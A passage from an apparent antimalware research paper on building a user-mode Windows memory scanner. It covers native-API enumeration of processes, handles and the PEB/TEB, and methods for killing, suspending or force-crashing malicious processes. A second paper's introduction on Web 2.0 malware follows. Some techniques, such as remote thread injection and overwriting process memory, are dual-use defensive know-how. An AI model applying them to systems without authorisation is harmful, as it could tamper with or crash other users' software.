no handle need be opened, rather, the constant WTS_CURRENT_SERVER_HANDLE can be used.

Enumerating Services

Malware could install malicious system services (such as a kernel driver or file system driver or 
even a Win32 process service) in order to operate in an escalated state. It is hence imperative to 
have an understanding of what services are currently active in memory and be able to enumerate 
them. We can use the  EnumServicesStatusEx function in order to enumerate services within the 
specified service control manager database. This function requires a valid handle to the service 
control manager database, which can be obtained by using the OpenSCManager function with the 
SC_MANAGER_ENUMERATE_SERVICE access rights. In order to retrieve the name and service 
status  information for  each service,  SC_ENUM_PROCESS_INFO is  to  be  provided as  another 



parameter. We can use this function to enumerate Win32 process services and kernel or file system 
driver services that are active.

Enumerating Process Modules using NtQueryInformationProcess native API

The native API NtQueryInformationProcess retrieves information about a specified process. The 
prototype for this function is as shown:

NTSTATUS NTAPI NtQueryInformationProcess (

__in HANDLE ProcessHandle,

__in PROCESS_INFORMATION_CLASS ProcessInformationClass,

__out PVOID ProcessInformation,

__in ULONG ProcessInformationLength,

__out_opt PULONG ReturnLength );

ProcessInformationClass selects the sub-function to be called i.e. the type of process information to 
retrieve.  The  sub-functions  we  are  interested  in  are  ProcessImageFileName  and 
ProcessBasicInformation.  ProcessImageFileName retrieves the name of the file on disk associate 
with the process. ProcessBasicInformation retrieves important information such as the process-id of 
current process, process-id of parent process, and pointer to the base address of current processes’ 
PEB (Process Environment Block).

Each process has a PEB. Any thread within the process can access the process’ PEB or an injected 
thread within the process can access it as well. The PEB structure contains process information. 
Note that the PEB structure is different on 64-bit Windows (i.e. fields are of different sizes). From 
the PEB we can retrieve information such as the loaded modules for the process, process parameter 
information such as the command line and the path of the image file for the process, and list of all 
heaps  within  the  process.  From  the  module  list  we  can  also  retrieve  lists  such  as: 
InLoadOrderModuleList,  InMemoryOrderModuleList,  and  InInitializationOrderModuleList.  The 
first two lists contain the application itself as the first module, followed by needed modules (DLLs). 
The last list contains  ntdll.dll as the first module followed by  kernel32.dll.  Malware sometimes 
enumerate this list in order to get the base address of ntdll.dll and resolve addresses to native APIs 
in  order  to  hook  them,  or  get  the  base  address  of  kernel32.dll and  resolve  addresses  to 
GetProcAddress and LoadLibrary in order to dynamically load (import) and inject their own DLL 
(code). Again, the use of native APIs is not recommended by Microsoft since associated internal 
structures could change from one version of Windows to other.

From TEB to PEB using NtQueryInformationThread native API

The native API NtQueryInformationThread retrieves information about a specified thread. The 
prototype for this function is as shown:

NTSTATUS NTAPI NtQueryInformationThread (

__in HANDLE ThreadHandle,

__in THREAD_INFORMATION_CLASS ThreadInformationClass,

__inout PVOID ThreadInformation,

__in ULONG ThreadInformationLength,

__out_opt PULONG ReturnLength );



ThreadInformationClass selects the sub-function to be called i.e. the type of thread information to 
retrieve.  It  could  be  any  of  ThreadBasicInformation or  ThreadQuerySetWin32StartAddress. 
ThreadQuerySetWin32StartAddress retrieves  the  start  address  of  the  thread.  On  versions  of 
Windows prior to Windows Vista, the returned start address is only reliable before the thread starts 
running. ThreadBasicInformation, retrieves information such as the unique thread-id and process-id 
(to which the current thread belongs), as well as a pointer to the base address of the thread’s TEB 
(Thread  Environment  Block).  The  base  address  of  the  TEB  can  also  be  obtained  using  the 
NtCurrentTeb native API call.

Each thread has a TEB. The TEB structure contains thread information.  Some of its  important 
members are: a pointer to the base address of the thread’s TLS (Thread Local Storage) or TLS array, 
a pointer to the SDT (Service Descriptor Table) which in turn points to the SSDT (System Service 
Dispatcher Table), and a pointer to the PEB structure of the process that it belongs to. The PEB 
pointer is typically located at offset 0x30 inside the current TEB and this location has been stable 
across 32-bit Windows NT4, 2000, XP, and 2003. The SDT pointer is typically located at offset 
0xDC on 32-bit Windows 2000 and at offset 0xE0 on 32-bit Windows XP, inside the current TEB. 
The FS segment register is always set such that the address FS:0 points to the TEB of the thread 
being executed. At offset 0x18 inside the current TEB is a pointer to self (i.e. pointer to the first 
thread’s TEB). Hence the following are valid ways of obtaining the base addresses of TEB and 
PEB:

assume fs:nothing

mov eax, fs:[18h] ; get self pointer from TEB

mov ebx, fs:[30h] ; get pointer to PEB

mov  ebx,dword ptr [eax+0x30] ; another way of getting pointer to PEB

Typically on a 32-bit Windows NT based operating system, the TEB is located at 0x7FFDE000 and 
the PEB is located at 0x7FFDF000. Each new thread’s TEB is assigned an address growing towards 
0x00000000. If a thread exits and a new thread is created then it will get the address of the previous 
thread’s TEB. It is not advisable to rely on such hard-coded values since the internal structures and 
offsets could change from one version of Windows to the other.

The base value of the FS segment register can be obtained using documented Win32 API calls, 
GetThreadContext and  GetThreadSelectorEntry functions.  A 64-bit  application  can  retrieve  the 
context  of  a  WoW64  thread  using  the  Wow64GetThreadContext function.  The  thread  is  first 
suspended using the SuspendThread function and then context-flags in the CONTEXT structure are 
set to retrieve registers context. The GetThreadSelectorEntry function (which is only functional on 
x86-based systems) retrieves a  descriptor  table  entry for the specified selector  and thread.  The 
selector we specify here is the FS segment register. The descriptor table entry information can be 
used to convert a segment-relative address to a linear virtual address, so it can be passed on to the 
ReadProcessMemory function (which only uses linear virtual addresses). With the base value of FS 
segment register, we can now use ReadProcessMemory to read the TEB and PEB of the specified 
process.

Enumerating Process Modules and Heaps using Native Debug APIs

In order to enumerate loaded modules within a specific process, we need to first obtain its process-
id. This can be done by using any of the above discussed methods of enumerating processes. We 
can then make use of the native debug APIs exported by  ntdll.dll in order to enumerate modules 
within  that  process.  This  involves  first  creating  a  debug  buffer  using  the 
RtlCreateQueryDebugBuffer function  and  then  calling  the  RtlQueryProcessDebugInformation 



function to populate the debug buffer with module information. This function requires a “debug 
information class mask” to be passed in, which in this case would be PDI_MODULES. The debug 
buffer can be freed using the  RtlDestroyQueryDebugBuffer function. Sample code to enumerate 
modules using this can be found at (Vizjereij, 2007). Note that RtlQueryProcessDebugInformation 
creates a remote thread in the process to examine and return a read-only snapshot.  In order to 
enumerate heaps of a specific process, the  RtlQueryProcessDebugInformation function is called 
with “debug information class mask” set to PDI_HEAPS | PDI_HEAP_BLOCKS. Sample code to 
enumerate heaps using this can be found at (Talekar, 2007).

Enumeration using direct read of kernel memory from user-mode

This method is an undocumented technique (or rather a hack) to directly access kernel memory 
from a user-mode application. This is done by exploiting read access and granting write access to 
the  \\Device\\PhysicalMemory section object. A section object, also called a file-mapping object, 
represents a block of memory that two or more processes can share. Section objects can be mapped 
to a page file or some other on-disk file. As far as we know, the first use of this section object for 
viewing physical memory was by Mark Russinovich when he created the physical memory viewer 
tool called, Physmem (Russinovich, 2006). Since then, other proof-of-concept tools and techniques 
have emerged that take advantage of the \\Device\\PhysicalMemory section object in order to read 
and write parts of kernel memory directly from user-mode. Few examples are listed below:

• A tool called Kmem that shows reading kernel memory from user-mode (Nebbet, 2004).

• A technique to set up a call gate descriptor in the GDT (Global Descriptor Table, which 
exists in kernel-mode), by opening the  \\Device\PhysicalMemory section object using 
NtOpenSection and then mapping it using NtMapViewOfSecton (Bassov, 2005).

• Techniques to read and write kernel memory from user-mode (Crazylord, 2002).

• Technique to hide processes by directly manipulating kernel memory (90210, 2004).

• Technique to modify SSDT from user-mode by writing to kernel memory (Tan, 2004).

The above methods require cryptic techniques to obtain addresses to un-exported kernel objects and 
conversion  of  virtual  addresses  to  actual  physical  addresses  in  memory.  We  could  use  this 
undocumented method to read the EPROCESS structure from kernel memory in order to enumerate 
processes and loaded modules.

Starting with Microsoft Windows Server 2003 Service Pack 1 (SP1), which also includes Windows 
XP x64 SP1, user-mode applications cannot access \\Device\\PhysicalMemory directly and can only 
access it if a kernel-mode driver is used to pass a handle to the application. This is done by a call to 
MmMapViewOf Section function from a kernel-mode driver. But again this protection was bypassed 
(Ionescu, 2006). Starting with Windows Vista, access to \\Device\\PhysicalMemory from user-mode 
has been completely removed.

Enumerating open file handles within a process

Sometimes it is imperative to enumerate open handles within a process in order to search for a 
specific type of handle. For example, the infamous W32/Sober.Z worm opens a “file” type handle to 
self when in memory, preventing any other external program (such as an anti-malware scanner) 
from accessing its malicious image on disk. In this case, the memory scanner could enumerate all 
open “file” type handles within the process and close any those are open to self, enabling access to 
the malicious file on disk. We can enumerate open handles (of all types) system wide by using the 
native  API  NtQuerySystemInformation with  the  sub-function  SystemHandleInformation.  This 



retrieves important information about each open handle such as the process-id of the process it is 
associated with and the ObjectType (which is the type of handle and can be any of file,  directory, 
symbolic link, process, thread, token, device, etc.). For our purpose we are interested in “file” type 
handles. For each handle (say,  h) associated with a process-id (say,  pid), we want to be able to 
gather information about the handle (h) such as associated object name and object type. This can be 
done using the native API functions NtQueryInformationFile and NtQueryObject. The handle (h) is 
first duplicated using the DuplicateHandle function to obtain a handle object (say hobj), which is 
then passed on to  NtQueryObject.  Note that sometimes querying handle objects could lead to a 
deadlock situation causing the application to hang indefinitely. This can be avoided by creating a 
new thread and waiting for it to complete in the parent thread. The new thread could point to code 
that  calls  NtQueryInformationFile  on  the  handle  object  (hobj),  by  passing  the  sub-function 
FileNameInformation. This test helps us avoid querying objects that have the potential to cause 
deadlocks.  In  order  to  obtain  object  name,  the  sub-function  ObjectNameInformation is  used, 
whereas in order to obtain object type, the sub-function ObjectTypeInformation is used. The object 
name and object type information can be used to check if a particular process has an open file type 
handle to self (as is the case with W32/Sober.Z). When such a self file handle is found, it could be 
closed using the DuplicateHandle function. Closing the self file handle in W32/Sober.Z allows read 
access to its image on disk allowing complete removal of the malware.

Protected Processes

The Microsoft  Windows Vista  operating system introduced a  new type of  process  known as  a 
protected  process in  order  to  enhance  support  for  Digital  Rights  Management  functionality  in 
Windows Vista. Although any application can attempt to create a protected process, the operating 
system  requires  that  these  processes  be  specially  signed  by  Microsoft.  There  are  two  known 
protected processes on Vista –  audiodg.exe and  mfpmp.exe. A typical process cannot perform the 
following operations such as, inject a thread, access virtual address space, debug, or duplicate a 
handle on a protected process, nor can it  get/set context information or impersonate any thread 
belonging to the protected process. Also, only the following access rights are allowed to be obtained 
for  a  protected  process:  PROCESS_QUERY_LIMITED_INFORMATION  and 
PROCESS_TERMINATE, while the following access rights are allowed to be obtained for any 
thread  of  the  protected  process,  THREAD_QUERY_LIMITED_INFORMATION, 
THREAD_SET_LIMITED_INFORMATION,  and  THREAD_SUSPEND_RESUME.  Except  for 
the above privileges, no other privileges can be obtained for a protected process or thread, even if 
SeDebugPrivilege is enabled. These restrictions can be circumvented by installing a kernel-mode 
component  in  order  to  access  the  memory of  a  protected process.  A proof-of-concept  tool  has 
already been written (that uses a kernel-mode driver) to demonstrate “un-protecting” a protected 
process, and make any process “protected” (Ionescu, 2007). This shows that malware authors too 
could  use  kernel  components  and  create  malicious  protected  processes.  A user-mode  memory 
scanner would be unable to scan the virtual address space of such a process. The scanner could still 
enumerate all protected processes and scan the associated files on disk. If an infection is found, then 
the protected process in memory can still be terminated or its threads suspended.

Terminating Malicious Processes

In order to terminate malicious processes it is best to first acquire the SeDebugPrivilege so that a 
handle can be acquired to the target process regardless of the security descriptor assigned to it 
(Microsoft KB Article, 2006). The handle can be obtained (using OpenProcess) with the terminate 
access right (PROCESS_TERMINATE) or any access right (PROCESS_ALL_ACCESS). We can 
then use any or all of the following methods in order to terminate malicious processes and threads 
(DiamondCS, 2005):



• Use  the  TerminateProcess function  (exported  by  kernel32.dll).  This  function 
unconditionally causes a process to exit. All of the object handles opened by the process 
are closed and all threads belonging to the process terminate their execution, but DLLs 
attached to the process are not notified that the process is terminating. Also, terminating 
a process does not cause child processes to be terminated, nor does it necessarily remove 
the process object from the system. A process object is deleted when the last handle to 
the process is closed.

• Use the native API function NtTerminateProcess (exported by ntdll.dll).

• Use the EndTask function (exported by user32.dll). This works only if the target process 
has at least one window.

• Send  the  WM_CLOSE  message  to  all  windows  in  the  target  process  using  the 
SendMessage function (exported by user32.dll). This works only if the target process has 
at least one window and it doesn’t handle the WM_CLOSE message.

• Send the  WM_QUIT message  to  all  windows  in  the  target  process  again  using  the 
SendMessage function. Above mentioned restrictions apply.

• Send the SC_CLOSE system message to all windows in the target process again using 
the SendMessage function. Above mentioned restrictions apply.

• Enumerate  all  threads  in  the  target  process  (using  any  of  the  discussed  methods  in 
previous sections) and terminate them individually using the TerminateThread function 
(exported by kernel32.dll). This requires obtaining a handle to each thread by using the 
OpenThread function  with  THREAD_TERMINATE  or  THREAD_ALL_ACCESS 
access rights.

• Enumerate all threads in the target process and terminate them individually using the 
native API function NtTerminateThread (exported by ntdll.dll).

• Enumerate  all  threads  in  the  target  process  and  suspend  them,  either  using 
SuspendThread (exported by  kernel32.dll) or  NtSuspendThread (exported by  ntdll.dll). 
Then use the SetThreadContext function (exported by kernel32.dll) and modify the EIP 
register (instruction pointer) of each to point to the ExitProcess function in kernel32.dll. 
Then resume each thread. This again requires obtaining a handle to each thread by using 
the  OpenThread function  with  THREAD_SUSPEND_RESUME  and 
THREAD_SET_CONTEXT access rights or THREAD_ALL_ACCESS access right.

• Create  a  new  thread  (as  suspended)  in  the  context  of  the  target  process  using  the 
CreateRemoteThread function (exported by kernel32.dll) with its start address pointing 
to ExitProcess function in kernel32.dll, and then resume the remote thread.

• Attach to the target process as a debugger by using the  DebugActiveProcess function 
(exported by kernel32.dll) and simply terminate. This causes the process being debugged 
(i.e. the target process) to terminate as well.

• Obtain a handle to the target process and pass it to the  DebugBreakProcess function 
causing the target process to terminate because of an un-handled breakpoint exception.

In order to terminate all child processes (i.e. spawned processes) of a malicious process, we need to 
establish parent-child relationships and obtain process-ids of all child processes. For this, we can 
use the following two techniques:



• Enumerate  all  processes  using  NtQuerySystemInformation and  then  use  the 
InheritedFromProcessId information to enumerate all child process-ids.

• Enumerate  all  processes  using  CreateToolhelp32Snapshot,  Process32First and 
Process32Next. Then use the  th32ParentProcessID information to enumerate all child 
process IDs.

If all attempts to terminate a malicious process fail, because it may be monitored and protected by 
some kernel-mode driver, or if user-mode APIs and native APIs related to process termination have 
been  hooked  by  the  malware,  then  we may at  least  want  to  suspend it  in  order  to  inhibit  its 
activities.  Another  case  would  be  where  a  system process  (such  as  explorer.exe,  winlogon.exe, 
csrss.exe,  smss.exe) that should not be terminated, is found to be infected (say with a malicious 
injected  DLL).  In  this  case  as  well,  we  would  want  to  simply  suspend  the  process  (although 
explorer.exe and  winlogon.exe should not be suspended anyway in order for the computer to be 
functional). In order to suspend the process we could use the native API function NtSuspendProcess 
(exported by ntdll.dll). Another way is to enumerate all threads of the target process and suspend 
them individually using the  SuspendThread function (exported by  kernel32.dll). Sufficient access 
rights are to be granted when handles to the threads and process are obtained.

If all attempts to terminate and suspend a malicious process fail, we could also consider forcing it to 
crash. This must be approached with caution since it could sometimes lead to system instability, 
failure of other applications, or system hang, if the malware is deeply injected in system processes 
or has hooked system calls and tables. Two methods to forcefully crashing the target process are 
(DiamondCS, 2005):

• Enumerate  all  commit  memory pages  of  the target  process  using  the  VirtualQueyEx 
function and then set the access level for those memory pages to PAGE_NOACCESS 
using the VirtualProtectEx function. This effectively prevents all read, write and execute 
operations  on  those  pages,  eventually  forcing  the  target  process  to  crash  due  to  its 
inability to execute code.

• Enumerate  all  commit  memory pages  of  the target  process  using  the  VirtualQueyEx 
function and then use the  WriteProcessMemory function to overwrite those pages with 
junk data, eventually causing the target process to crash due to attempting to execute 
invalid code.

Some of the system critical processes in memory should not be suspended nor terminated in order 
to  maintain  system  stability  and  usability.  Such  system  critical  processes  are:  winlogon.exe, 
explorer.exe,  services.exe,  and  csrss.exe.  If  any  of  these  processes  are  found to  be  infected  in 
memory, then either a reboot is required in safe mode preceded by a registry cleaning routine in 
order to get rid of any malware that might load on system reboot, or scanning from a clean OS 
loaded from an alternate boot device.

If lsass.exe were found to be infected in memory (i.e. via remote code/DLL injection), it is safe to 
suspend it in order to disinfect the machine, provided we are not enumerating any processes (or 
modules) by escalating to  SeDebugPrivilege.  This is because if  lsass.exe were to be suspended 
while we are still enumerating processes (or modules) would cause the enumerating application to 
hang  indefinitely.  This  is  because,  when  we  try  to  escalate  privileges,  one  of  the  Win32  API 
function used is LookupPrivilegeValue which basically uses the RPC server and lsass.exe to retrieve 
information. If lsass.exe is suspended during this time, the application will hang indefinitely for the 
service.



Summarizing User-mode Memory Scanning

The  basic  idea  is  to  enumerate  active  memory  components  visible  from  user-mode  such  as 
processes, services, loaded modules, loaded drivers, etc. and scan the associated files on disk. The 
actual memory image associated with each component is scanned as well. The memory image of a 
process  is  read  by using  a  combination of  VirtualQueryEx and  ReadProcessMemory functions. 
VirtualQueryEx enumerates all memory pages within the specified process and the information is 
returned in a MEMORY_BASIC_INFORMATION structure. This structure has information such as 
base address and region size. We can then use ReadProcessMemory to read each commit page and 
store it in a buffer. This buffer can eventually be passed to the memory scanner.

This approach can be used to detect earlier versions of the infamous Storm Trojan’s (a.k.a. Zelethan, 
Peacomm) injected code into  services.exe. The Trojan drops a malicious kernel-mode driver that 
has an embedded payload (as an embedded executable). The payload is injected from kernel space 
into  the  user  space  of  services.exe and  scheduled  for  execution  by  queuing  an  Asynchronous 
Procedure Call (APC) for it. Due to this, there is no “visible” process executing the payload if we 
were  to  use  any of  the  enumeration  techniques  in  order  to  enumerate  processes.  Scanning the 
committed memory pages of services.exe will reveal the injected code.

When an attempt to scan an associated file on disk for a particular process fails due to the file not 
being present on disk, this could imply that the file is hidden from Windows API (using rootkit like 
techniques) or the file is deleted from disk once it  is loaded into memory. This was seen with 
W32/OnlineGames.AYW which  dropped  a  malicious  kernel-mode  driver  (detected  as 
W32/SysTrojan.A)  that  existed  on  disk  only  for  a  very  brief  instance,  and was  deleted  by  the 
malware as soon as it was loaded as a service into memory. This ensured that the malicious driver 
existed only in memory and not on disk. On subsequent reboots, the malware would re-create the 
malicious driver file on disk again for a brief instance and delete it again once loaded in memory. In 
this case, try to scan the memory image of the process in question. Any failed attempt to suspend or 
terminate the malicious process (because another malicious process in memory could be protecting 
it)  results in adding it  to the “pending terminates list”.  This list  is  visited again after complete 
memory scan. If we still fail to terminate or are only able to suspend the malicious processes listed 
in the list, then the user is to be notified of an un-resolved infection.

When an attempt to scan an associated file on disk for a particular process fails due to access 
violation to open the file for reading, this could imply that the file is locked by another malicious 
process in memory or that the associated process has an open handle to self. In this case, the file 
path is added to a “pending scans list”. This list is visited after complete memory scan in order to 
attempt to scan the file in question again. If still read access to file is denied, and an open “file” 
handle to self is found, then try to close such a handle, and if successful, try to scan the file on disk 
again.

When the associated file  on disk is  scanned for a  particular  process  and is  found to be clean, 
proceed to scan all loaded modules by that process. If an infection pertaining to a loaded module is 
found, instead of trying to terminate the process, only try to suspend the process after making sure it 
is not one of the critical system processes (such as winlogon.exe or explorer.exe). If critical system 
processes are found to be infected then the user is notified of un-resolved infections that would 
require a reboot in safe mode (or booting into a clean OS using alternate boot devices) and re-
scanning of memory. If both the associated file on disk and loaded modules are found to be clean, 
then  proceed  to  scan  the  memory  image  of  the  process.  This  is  important  because  a  memory 
resident malware could disinfect its associated files on disk on-access (i.e. when opened for read by 
an external program) and re-infect them back on close.



Scanning for Hidden Processes from User-mode

One of the most effective methods to scan for hidden processes (that could be hidden via a kernel-
mode driver) from user-mode is to use the technique used by the BlackLight rootkit detection tool 
(Silberman & C.H.A.O.S., 2005). It basically calls the OpenProcess function on process-ids ranging 
from 0x00 to the maximum allowed process-id of 0x4E1C, while keeping track of all successful 
calls. A successful call to OpenProcess means that process-id belongs to a valid process in memory. 
Then use any of  the  high-level  user-mode APIs  to  enumerate  processes  (and process-ids),  and 
compare this list with the previously obtained list using OpenProcess. Any discrepancy denotes a 
hidden process. Note that this technique too can be thwarted by manipulating certain structures 
within the kernel (Silberman & C.H.A.O.S., 2005).

Use all of the methods discussed before in order to enumerate processes and compare the results 
from each. If there is any discrepancy in the results, then it denotes the compromised state of a 
machine, i.e. some user-mode API or native API has been hooked or some other technique has been 
used to attempt to hide processes.

Another method would be to enumerate all open handles in  csrss.exe that are of type “process”. 
This is because csrss.exe maintains process handles to all processes currently running in memory. 
With this  information we can determine all  process names and process-ids,  which can then be 
compared with enumerations obtained by other techniques (as described in previous sections) in 
order to find any discrepancies.

There are also open handles of type “thread” maintained by csrss.exe for each running process in 
memory. Enumerating the thread handles as well helps us determine the parent of a thread, hence 
being able to determine all process-ids that currently have any threads running in memory. This 
enumeration of process-ids can then be compared with enumerations obtained by other techniques 
(as described in previous sections) in order to find any discrepancies.

Using the native API NtQuerySystemInformation with the sub-function SystemHandleInformation, 
we can enumerate all open handles (of all types) on a system. The retrieved information provides 
associated process-ids with each handle. This enumeration of process-ids can then be compared 
with enumerations obtained by other techniques (as described in previous sections) in order to find 
any discrepancies.

If  a  malware  were  to  hook  all  of  the  mentioned  user-mode  APIs  and  native  APIs  used  for 
enumerating  memory  objects,  in  order  to  consistently  return  manipulated  results,  then  these 
techniques would fail to find the malicious hidden process. There is also the possibility of false-
positives with using the combined data from multiple techniques. This could happen if a process 
was already enumerated by a few techniques and then exited while still being enumerated by other 
techniques. Such type of situations must be handled gracefully.

Scanning for memory mapped files

File mapping is the association of a file's contents with a portion of the virtual address space of a 
process. It is an efficient way for two or more processes on the same computer to share data, while 
providing  synchronization between the  processes.  This  facilitates  Inter  Process  Communication 
(IPC). Malicious processes could use file mapping in order to communicate and share data from 
malicious files on disk. Hence it is important for the memory scanner to enumerate mapped files 
within the address space of each process. Whenever a process wants to map a file on disk, it first 
opens the file by calling the CreateFile function. In order to ensure that other processes do not write 
to the portion of the file that is mapped, the process could open the file with exclusive access by 
specifying  zero in  the  fdwShareMode parameter  of  CreateFile.  The  memory  scanner  could 
enumerate  all  open  file  handles  by  a  certain  process  by  using  the  native  API  function, 



NtQuerySystemInformation  with  SystemHandleInformation and  then  using  another  native  API 
function,  NtQueryObject to  search for  the  object  handle  “file”.  After  enumerating all  open file 
handles, each associated file on disk could be scanned for malicious content. If any such files are 
found, then the associated file handles could be closed within the malicious process accessing them.

Pros and Cons of User-mode Memory Scanning

Due to the virtual  memory address separation of user-mode and kernel-mode,  the kernel-mode 
address  space is  protected from read or  writes  access  by any user-mode component  or  thread. 
Whenever a user-mode API requests certain system information, it is serviced via a kernel-mode 
service,  wherein,  a  context  switch  of  the  thread  from user-mode to  kernel-mode happens.  The 
desired information is retrieved from various kernel structures or objects and transferred back to the 
calling user-mode API. When in user-mode, the thread context is switched back to user-mode (less 
privileged).  Any  malware  that  is  either  using  a  kernel-mode  component,  or  operating  fully  in 
kernel-mode itself, has complete access to all kernel structures as well as control transfers from 
user-mode to kernel-mode. Hence, such malware could manipulate the retrieved information before 
transferring it  back to user-mode consequently hiding its presence from the user-mode memory 
scanner.  Malware  could  also  disallow  termination  of  malicious  processes  in  memory  and/or 
disallow deletion/disinfection  of  malicious files  on  disk,  by  using  kernel-mode components.  In 
order to combat such malware requires implementing a kernel-mode memory scanner. In particular, 
user-mode memory scan can be bypassed by hooking user-mode APIs and/or native APIs, hooking 
of kernel structures such as SSDT or IDT, IAT & EAT hooking, SYSENTER hook, inline function 
hooks,  driver  hooks  (also  called  IRP –  IO  Request  Packet  hooks),  and  hooking  the  memory 
manager. More advanced methods available to kernel malware are filter driver insertion and DKOM 
(Direct Kernel Object Manipulation). All these techniques are discussed in (Kumar, 2006). If the 
memory scanner were to be implemented in kernel-mode, it is less susceptible to being thwarted, as 
integrity of structures and APIs can be checked or monitored.

A user-mode memory scanner also has limitations enforced by the operating system depending on 
the privileges of the currently logged-on user running the application. If the application were to be 
run by a limited user with no administrative privileges, it would fail to enumerate several system 
processes and threads, as well as fail to read memory pages of processes.

On  the  other  hand,  a  kernel-mode  memory  scanner  (implemented  as  a  kernel-mode  driver)  is 
complex to implement, debug and deploy. Compatibility issues with different versions of Windows 
NT based operating systems need to be taken into consideration as implementation details may 
significantly vary. For example, the introduction of kernel patch protection or “PatchGuard” in 64-
bit versions of the Windows OS, as well as several design features to enforce security measures in 
Windows Vista (Evers, 2006b), makes driver development for memory scanning quite tedious and 
complex (Evers, 2006a). Also, the stability of such a kernel-mode application depends on a variety 
of factors such as software and/or hardware configuration. Any faulty implementation could lead to 
system wide  crashes  such  as  reboots,  blue  screen  of  death  (BSoD),  or  system freezes.  Hence, 
extreme care must be taken while implementing a kernel-mode memory scanner. Also note that 32-
bit driver support has been removed in 64-bit Windows Vista which would require a complete port 
of the memory scanner if written as a 32-bit kernel-mode driver.

Although a user-mode memory scanner has its limitations, it is much easier to implement, debug 
and deploy than its kernel-mode counterpart. It can be reliably operated without risk of causing a 
system wide crash. The worst  case scenario could only be a single application crash.  Also, the 
compatibility  issues  with  different  versions  of  Windows NT based  operating  systems (such  as 
Windows XP 64-bit, Windows Vista 32-bit & 64-bit) can be easily overcome.



Both approaches have their pros and cons. In practice it is best to implement a memory scanner in 
both user-mode and kernel-mode. By comparing the results from both techniques (a cross-view diff 
approach),  one  could  reveal  any  hidden  process,  files  or  registry  entries  determining  the 
compromised state of a machine.

Conclusion

The  essential  components  of  a  user-mode  memory  scanner  for  Windows  NT based  operating 
systems were presented. This involved enumerating a wide variety of active memory components; 
such as processes, process heaps, threads, loaded modules, loaded drivers, services, etc. The idea 
was to rely on the abundance of redundant information available via various internal structures 
active in memory, and extract this information. This information can be queried to compare results 
from different sources in order to detect any possible system compromise. Techniques to terminate 
malicious  processes  in  memory  and  restoring  read  access  to  locked  files  on  disk  were  also 
discussed.  The advantages and disadvantages of implementing a memory scanner in user-mode 
were also discussed.
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Web Attacks 2.0: The Maturing of Web Attacks

Abstract

There has been huge growth in the use of the Web by malware since 2006. Analysis of hundreds of  
thousands of malicious pages reveals that most of the current attacks use the Web merely as a  
'delivery mechanism' to install Win32-specific malware. The malware authors are simply taking  
advantage  of  users'  increased use  of  the  Web,  and the  native  flexibility  it  provides  in  loading 
content from multiple locations without any form of user interaction.

With time it is likely that Web threats will mature to become more sophisticated. In this paper I  
discuss Web threats that exist entirely within the browser; that is threats whose payload is not just  
the  installation  of  other  malware,  but  delivery  of  some payload within  the  environment  of  the  
browser. Historically the scope of this sort of payload might have been relatively narrow, but as  
more of our services shift to the Web, it widens.

In the paper  I  investigate  how malware may take  advantage of  our  increased  use of  Web 2.0  
technologies. The implications upon users and technology are also discussed.

Introduction

Malware has changed considerably over the last few years. The vast bulk of today's malware is 
financially  or  criminally  motivated.  The  old-fashioned  ambitions  to  be  the  “quickest”,  “most 
destructive” or “most prevalent” do still exist, but malware is now created less for kudos, and more 
for  maximising  financial  return.  Families  such  as  Dorf  [1,2],  Zlob  [3]  or  Cimuz  [4]  are  prime 
examples  of  malware  campaigns  where  the  emphasis  is  upon maintaining  a  group of  infected 
victims over a long period of time.

Despite  the aggressive and persistent  nature of modern threats,  in many ways today's  malware 
remains quite primitive, using something of a scatter-gun approach to finding and infecting victims. 
This is particularly true for malware using spam as its delivery mechanism. Despite only a tiny 
fraction of sent emails actually making it through to their intended recipient, there is no associated 
cost (to the attacker) and so an inefficient delivery mechanism can be tolerated. Such mailings will 
typically be sent from compromised machines (for example botnets) burdening victims and ISPs 
with the costs (CPU, bandwidth).

The use of the Web by malware has grown sharply since 2006. By aggressively compromising the 
content of legitimate Web sites, attackers are able to expose huge numbers of users to malicious 
code on attack sites [5]. However, a limitation of virtually all of today's Web attacks is that they 
deliver a Win32-specific payload. Even relatively sophisticated attacks (for example the recent use 
of a rootkit to compromise web servers in order to dynamically inject malicious content [6]) deliver 
payloads specific to the Windows platform. Historically, this was not surprising – malware authors 
target  the  largest  audience.  But  as  the  user  base  of  other  OSes  has  increased  we  might  have 
expected threats to encompass these other platforms. The only significant evidence of this has been 
Zlob, where, in November 2007, the attackers started to deliver Mac OS-specific installers when the 
user-agent was suggestive of the Safari browser [7].

This picture contrasts sharply with recent developments in web applications and services where 
there is diminishing dependence upon the underlying operating system (OS). In the world of Web 
2.0 technologies, the browser becomes the new “operating system”. It is the browser that is the 



portal  to  work  flow,  messaging  and  calendaring  applications  –  the  underlying  OS is  merely  a 
platform on which the browser runs. As more web applications are published the range of tasks that 
can  be  performed  within  the  browser  increases,  furthering  the  dominance  of  the  browser 
environment over the underlying OS.

This paper discusses how Web malware may mature to fully exploit  Web 2.0 technologies and 
services.

The Web 2.0 world

To consider potential effects of Web 2.0 applications upon malware, it is important to understand 
the technologies that underpin Web 2.0.

Web services

In this new world, users and developers (knowingly or unknowingly) become consumers of online 
services. The following quote from the World Wide Web Consortium (W3C) [8] nicely summarises 
what is meant by the term 'Web service':

“A Web service represents a unit of business, application, or system functionality that can be accessed 

over the Web. Web services are applicable to any type of Web environment, be it Internet, intranet, or 

extranet, with a focus on business-to-consumer, business-to-business, department-to-department, or peer-

to-peer communication. A Web service consumer can be a human user accessing the service through a 

desktop or wireless browser, it could be an application program, or it could be another Web service.”

The latter  part  is  important  and relevant  to  an attacker  seeking  to  write  Web 2.0 malware:  by 
definition, the consumer for a service can be another service or an application, not necessarily a 
human. Once running, malicious code may well interact with a variety of Web services as it delivers 
its payload (which may be anything from propagation to theft or data diddling).

A variety of technologies have been developed to support and enhance Web services. Fundamental 
to all of these of course, is the communication over standard Web protocols (HTTP and HTTPS). 
Applications can interact with Web services in a variety of ways, some of the most popular of which 
are discussed briefly below.

Representational State Transfer (REST)

REST describes an architectural style that provides a model for Web architecture [9]. Consider a 
user  browsing a  Web site.  The site  is  a  web application,  through which the user  proceeds  via 
navigating to pages and/or submitting form data. The pages represent a virtual state machine. Each 
action results in a transition to a new state, the user receiving a representation of that state.

With reference to Web services, it involves three key technologies XML, URIs and HTTP. Uniform 
Resource Identifiers (URIs) do just that – provide a means to specify the name and address of some 
network resource. The success and popularity of the Web is due to the way in which the underlying 
HTTP protocol enables us to apply operations (e.g. GET, POST) to URI-addressed resources.

Many  of  the  Web  2.0  APIs  available  to  developers  describe  themselves  as  having  a  RESTful 
interface. The essentially means the developer is able to use HTTP GET and POST requests in order 
to access functions exposed on the network, receiving XML data in the response.



Simple Object Access Protocol (SOAP)

